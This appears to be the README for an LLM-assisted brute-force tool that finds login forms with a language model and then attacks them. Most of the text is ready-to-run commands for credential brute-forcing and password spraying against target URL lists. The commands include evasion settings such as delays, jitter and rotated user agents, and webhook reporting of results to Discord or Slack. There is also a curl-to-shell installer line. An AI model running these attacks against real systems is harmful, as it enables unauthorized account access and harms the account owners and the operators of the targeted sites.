
Advanced LLM-powered brute-force tool combining AI intelligence with automated login attacks
Advanced LLM-powered brute-force tool combining AI intelligence with automated login attacks
Features • Installation • Usage • Examples • Configuration • License
BruteForceAI is an advanced penetration testing tool that revolutionizes traditional brute-force attacks by integrating Large Language Models (LLM) for intelligent form analysis. The tool automatically identifies login form selectors using AI, then executes sophisticated multi-threaded attacks with human-like behavior patterns.
# Python 3.8 or higher
python --version
Keep dependencies isolated from your system Python using the built-in venv:
# 1. Create a virtual environment
python -m venv .venv
# 2. Activate it
# Windows (PowerShell):
.venv\Scripts\Activate.ps1
# Windows (cmd):
.venv\Scripts\activate.bat
# macOS / Linux:
source .venv/bin/activate
Note: The
python -m venv .venvstep is only needed once. In every new terminal session, re-run the activation command (step 2) before using the tool. To leave the virtual environment, rundeactivate.
# Install Python packages
pip install -r requirements.txt
# Install the Playwright browser
playwright install chromium
Required packages:
playwright - Browser automationrequests - HTTP requestsPyYAML - YAML parsing for update checks# Install Ollama
curl -fsSL https://ollama.ai/install.sh | sh
# Pull recommended model
ollama pull llama3.2:3b
--llm-provider groq --llm-api-key YOUR_KEYOllama (Local):
llama3.2:3b - Default, good balance of speed and qualityllama3.2:1b - Fastest, smaller model for quick analysisqwen2.5:3b - Alternative with good performanceGroq (Cloud):
llama-3.3-70b-versatile - Default & Best - Latest model with superior quality (1 attempt)llama3-70b-8192 - Fast and reliable alternative (1 attempt)gemma2-9b-it - Lightweight option, good for simple forms (1 attempt)llama-3.1-8b-instant - ⚠️ Not recommended (rate limiting issues, 3+ attempts)# Best quality (recommended for complex forms)
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama-3.3-70b-versatile --llm-api-key YOUR_KEY
# Fast and reliable
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama3-70b-8192 --llm-api-key YOUR_KEY
# Lightweight for simple forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model gemma2-9b-it --llm-api-key YOUR_KEY
# Local processing (no API key needed)
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
python BruteForceAI.py analyze --urls urls.txt --llm-provider ollama
python BruteForceAI.py attack --urls urls.txt --usernames users.txt --passwords passwords.txt --threads 10
python BruteForceAI.py <command> [options]
analyze - Analyze login forms with LLMattack - Execute brute-force attacksclean-db - Clean database tablescheck-updates - Check for software updates# Step 1: Analyze forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
# Step 2: Attack with 20 threads
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --threads 20 --delay 5 --jitter 2
python BruteForceAI.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--mode passwordspray \
--threads 15 \
--delay 10 \
--jitter 3 \
--success-exit \
--user-agents user_agents.txt \
--verbose \
--output results.txt
python BruteForceAI.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--discord-webhook "https://discord.com/api/webhooks/..." \
--slack-webhook "https://hooks.slack.com/services/..." \
--threads 10
python BruteForceAI.py analyze \
--urls targets.txt \
--show-browser \
--browser-wait 5 \
--debug \
--llm-provider ollama
# Check for software updates
python BruteForceAI.py check-updates
# Check with output to file
python BruteForceAI.py check-updates --output update_check.txt
# Skip version check completely for faster startup
python BruteForceAI.py analyze --urls targets.txt --skip-version-check
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --skip-version-check